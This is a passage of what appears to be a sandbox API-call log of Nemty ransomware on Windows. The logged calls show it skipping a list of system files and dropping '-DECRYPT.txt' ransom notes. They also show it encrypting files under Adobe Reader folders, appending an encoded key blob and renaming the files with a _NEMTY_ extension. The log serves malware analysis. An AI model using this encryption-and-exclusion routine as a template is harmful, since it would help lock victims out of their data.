CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0180.682] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0180.682] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0180.682] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340308 [0180.682] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63403b0 [0180.682] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0180.682] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0180.682] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\nl_NL\\SendMail.NLD" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\nl_nl\\sendmail.nld"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\nl_NL\\SendMail.NLD._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\nl_nl\\sendmail.nld._nemty_kgobjgd_")) returned 1 [0180.682] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0180.682] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0180.682] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0180.682] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0180.682] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0180.682] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0180.682] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0180.682] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0180.682] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f4af00, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81fbd320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81fbd320, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="Services", cAlternateFileName="")) returned 1 [0180.683] lstrcmpiW (lpString1="Services", lpString2=".") returned 1 [0180.683] lstrcmpiW (lpString1="Services", lpString2="..") returned 1 [0180.683] lstrcmpiW (lpString1="Services", lpString2="...") returned 1 [0180.683] lstrcmpiW (lpString1="Services", lpString2="windows") returned -1 [0180.683] lstrcmpiW (lpString1="Services", lpString2="$RECYCLE.BIN") returned 1 [0180.683] lstrcmpiW (lpString1="Services", lpString2="rsa") returned 1 [0180.683] lstrcmpiW (lpString1="Services", lpString2="NTDETECT.COM") returned 1 [0180.683] lstrcmpiW (lpString1="Services", lpString2="ntldr") returned 1 [0180.683] lstrcmpiW (lpString1="Services", lpString2="MSDOS.SYS") returned 1 [0180.683] lstrcmpiW (lpString1="Services", lpString2="IO.SYS") returned 1 [0180.683] lstrcmpiW (lpString1="Services", lpString2="boot.ini") returned 1 [0180.683] lstrcmpiW (lpString1="Services", lpString2="boot.ini") returned 1 [0180.683] lstrcmpiW (lpString1="Services", lpString2="AUTOEXEC.BAT") returned 1 [0180.683] lstrcmpiW (lpString1="Services", lpString2="ntuser.dat") returned 1 [0180.683] lstrcmpiW (lpString1="Services", lpString2="desktop.ini") returned 1 [0180.683] lstrcmpiW (lpString1="Services", lpString2="CONFIG.SYS") returned 1 [0180.683] lstrcmpiW (lpString1="Services", lpString2="RECYCLER") returned 1 [0180.683] lstrcmpiW (lpString1="Services", lpString2="BOOTSECT.BAK") returned 1 [0180.683] lstrcmpiW (lpString1="Services", lpString2="bootmgr") returned 1 [0180.683] lstrcmpiW (lpString1="Services", lpString2="programdata") returned 1 [0180.683] lstrcmpiW (lpString1="Services", lpString2="appdata") returned 1 [0180.683] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0180.683] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Services", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0180.683] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Services", cchWideChar=8, lpMultiByteStr=0x653e890, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Services", lpUsedDefaultChar=0x0) returned 8 [0180.683] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0180.683] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Services", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0180.683] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Services", cchWideChar=8, lpMultiByteStr=0x653e890, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Services", lpUsedDefaultChar=0x0) returned 8 [0180.683] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0180.683] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0180.683] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0180.683] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0180.683] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0180.684] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0180.684] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0180.684] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0180.684] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ecb8, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0180.684] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0180.684] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0180.684] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x4f94310 [0180.684] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0180.684] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x106) returned 0x6340048 [0180.684] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0180.684] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\nl_NL\\Services\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\nl_nl\\services\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0180.686] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0180.686] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0180.686] WriteFile (in: hFile=0x2e8, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653e840, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653e840*=0xef8, lpOverlapped=0x0) returned 1 [0180.688] CloseHandle (hObject=0x2e8) returned 1 [0180.688] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0180.688] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0180.688] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0180.688] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0180.688] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346fc0 [0180.688] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0180.688] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0180.688] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0180.688] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0180.688] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0180.688] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0180.688] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x4f94310 [0180.688] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0180.688] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x106) returned 0x6340048 [0180.688] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0180.689] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\nl_NL\\Services\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\nl_nl\\services\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0180.689] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0180.689] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0180.689] WriteFile (in: hFile=0x2e8, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653e500, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653e500*=0xef8, lpOverlapped=0x0) returned 1 [0180.690] CloseHandle (hObject=0x2e8) returned 1 [0180.690] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0180.690] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346fc0 | out: hHeap=0x4f90000) returned 1 [0180.690] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0180.690] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\nl_NL\\Services\\*.*", lpFindFileData=0x653e648 | out: lpFindFileData=0x653e648*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f4af00, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x1f56b9f0, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x1f56b9f0, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3423af0 [0180.690] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0180.690] FindNextFileW (in: hFindFile=0x3423af0, lpFindFileData=0x653e648 | out: lpFindFileData=0x653e648*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f4af00, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x1f56b9f0, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x1f56b9f0, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0180.690] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0180.690] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0180.691] FindNextFileW (in: hFindFile=0x3423af0, lpFindFileData=0x653e648 | out: lpFindFileData=0x653e648*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81fbd320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x924e, dwReserved0=0x0, dwReserved1=0x0, cFileName="DEXShare.asfx", cAlternateFileName="DEXSHA~1.ASF")) returned 1 [0180.691] lstrcmpiW (lpString1="DEXShare.asfx", lpString2=".") returned 1 [0180.691] lstrcmpiW (lpString1="DEXShare.asfx", lpString2="..") returned 1 [0180.691] lstrcmpiW (lpString1="DEXShare.asfx", lpString2="...") returned 1 [0180.691] lstrcmpiW (lpString1="DEXShare.asfx", lpString2="windows") returned -1 [0180.691] lstrcmpiW (lpString1="DEXShare.asfx", lpString2="$RECYCLE.BIN") returned 1 [0180.691] lstrcmpiW (lpString1="DEXShare.asfx", lpString2="rsa") returned -1 [0180.691] lstrcmpiW (lpString1="DEXShare.asfx", lpString2="NTDETECT.COM") returned -1 [0180.691] lstrcmpiW (lpString1="DEXShare.asfx", lpString2="ntldr") returned -1 [0180.691] lstrcmpiW (lpString1="DEXShare.asfx", lpString2="MSDOS.SYS") returned -1 [0180.691] lstrcmpiW (lpString1="DEXShare.asfx", lpString2="IO.SYS") returned -1 [0180.691] lstrcmpiW (lpString1="DEXShare.asfx", lpString2="boot.ini") returned 1 [0180.691] lstrcmpiW (lpString1="DEXShare.asfx", lpString2="boot.ini") returned 1 [0180.691] lstrcmpiW (lpString1="DEXShare.asfx", lpString2="AUTOEXEC.BAT") returned 1 [0180.691] lstrcmpiW (lpString1="DEXShare.asfx", lpString2="ntuser.dat") returned -1 [0180.691] lstrcmpiW (lpString1="DEXShare.asfx", lpString2="desktop.ini") returned 1 [0180.691] lstrcmpiW (lpString1="DEXShare.asfx", lpString2="CONFIG.SYS") returned 1 [0180.691] lstrcmpiW (lpString1="DEXShare.asfx", lpString2="RECYCLER") returned -1 [0180.691] lstrcmpiW (lpString1="DEXShare.asfx", lpString2="BOOTSECT.BAK") returned 1 [0180.691] lstrcmpiW (lpString1="DEXShare.asfx", lpString2="bootmgr") returned 1 [0180.691] lstrcmpiW (lpString1="DEXShare.asfx", lpString2="programdata") returned -1 [0180.691] lstrcmpiW (lpString1="DEXShare.asfx", lpString2="appdata") returned 1 [0180.691] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0180.691] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DEXShare.asfx", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0180.691] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DEXShare.asfx", cchWideChar=13, lpMultiByteStr=0x653e550, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DEXShare.asfx", lpUsedDefaultChar=0x0) returned 13 [0180.691] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0180.691] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DEXShare.asfx", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0180.691] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DEXShare.asfx", cchWideChar=13, lpMultiByteStr=0x653e550, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DEXShare.asfx", lpUsedDefaultChar=0x0) returned 13 [0180.691] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0180.691] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0180.691] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0180.691] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DEXShare.asfx", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0180.692] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DEXShare.asfx", cchWideChar=13, lpMultiByteStr=0x653e5a0, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DEXShare.asfx", lpUsedDefaultChar=0x0) returned 13 [0180.692] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0180.692] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0180.692] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DEXShare.asfx", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0180.692] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DEXShare.asfx", cchWideChar=13, lpMultiByteStr=0x653e5d8, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DEXShare.asfx", lpUsedDefaultChar=0x0) returned 13 [0180.692] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0180.692] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340048 [0180.692] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0180.692] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x4f94310 [0180.692] Sleep (dwMilliseconds=0x5) [0180.692] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e464 | out: lpSystemTimeAsFileTime=0x653e464*(dwLowDateTime=0x1f591b50, dwHighDateTime=0x1d561e8)) [0180.692] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e464 | out: lpSystemTimeAsFileTime=0x653e464*(dwLowDateTime=0x1f591b50, dwHighDateTime=0x1d561e8)) [0180.692] GetLastError () returned 0xb7 [0180.693] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0180.693] GetLastError () returned 0xb7 [0180.693] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0180.693] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0180.693] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0180.693] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e2a0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e2a0*=0x100) returned 1 [0180.693] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e2a4*, pdwDataLen=0x653e290*=0x10, dwBufLen=0x100 | out: pbData=0x653e2a4*, pdwDataLen=0x653e290*=0x100) returned 1 [0180.693] CryptBinaryToStringA (in: pbBinary=0x653e2a4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e29c | out: pszString=0x0, pcchString=0x653e29c) returned 1 [0180.693] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340100 [0180.693] CryptBinaryToStringA (in: pbBinary=0x653e2a4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340100, pcchString=0x653e29c | out: pszString="X+bUCpJvNZ66SEi02LYJX1dlzYDNVMEiTkpnR3lK8cOYys5SVOfV/w66PtyQ8Po4\r\nGrJQdacr8ieBV1eGmgKZdfS4rxyF+ayf1lEdKdCAotjHsr9Z/yrf2CLrcL1ZhmeJ\r\n7eYZ9/JK9rpaOsae1oxjVQ3Xdxj+X60Zg4t/1/ZfRdGrPBNp+bhsMxx4x204anDV\r\np6t46mlc5xr2i9ymCvDbGDEhSJvrHYmsGw9th0XAJQ6IG/lNy63JDyqe0ycaEAX8\r\ntZwTRKSFJO7czTXCNbFY9iymsQs5eV7qT0kHn+Gzsmther0L7j4+5VxJad4y5oJ0\r\nuDp+nyk74SqRIHVSYCrexQ==\r\n", pcchString=0x653e29c) returned 1 [0180.693] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0180.693] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340100 | out: hHeap=0x4f90000) returned 1 [0180.693] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0180.693] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0180.693] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340100 [0180.693] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0180.693] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\nl_NL\\Services\\DEXShare.asfx" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\nl_nl\\services\\dexshare.asfx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2f0 [0180.693] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x653e4f0 | out: lpFileSize=0x653e4f0*=37454) returned 1 [0180.693] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x9240) returned 0x6352c48 [0180.694] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0180.694] ReadFile (in: hFile=0x2f0, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x9240, lpNumberOfBytesRead=0x653e4e4, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e4e4*=0x9240, lpOverlapped=0x0) returned 1 [0180.697] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0180.697] WriteFile (in: hFile=0x2f0, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x9240, lpNumberOfBytesWritten=0x653e4dc, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e4dc*=0x9240, lpOverlapped=0x0) returned 1 [0180.698] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0180.698] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=37454, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x924e [0180.698] WriteFile (in: hFile=0x2f0, lpBuffer=0x6340100*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e4dc, lpOverlapped=0x0 | out: lpBuffer=0x6340100*, lpNumberOfBytesWritten=0x653e4dc*=0x167, lpOverlapped=0x0) returned 1 [0180.698] CloseHandle (hObject=0x2f0) returned 1 [0180.698] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340270 [0180.698] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0180.698] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0180.698] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0180.698] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0180.698] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0180.698] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340328 [0180.698] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x106) returned 0x63403e0 [0180.698] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340328 | out: hHeap=0x4f90000) returned 1 [0180.698] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0180.698] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\nl_NL\\Services\\DEXShare.asfx" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\nl_nl\\services\\dexshare.asfx"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\nl_NL\\Services\\DEXShare.asfx._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\nl_nl\\services\\dexshare.asfx._nemty_kgobjgd_")) returned 1 [0180.699] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403e0 | out: hHeap=0x4f90000) returned 1 [0180.699] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340270 | out: hHeap=0x4f90000) returned 1 [0180.699] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0180.699] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340100 | out: hHeap=0x4f90000) returned 1 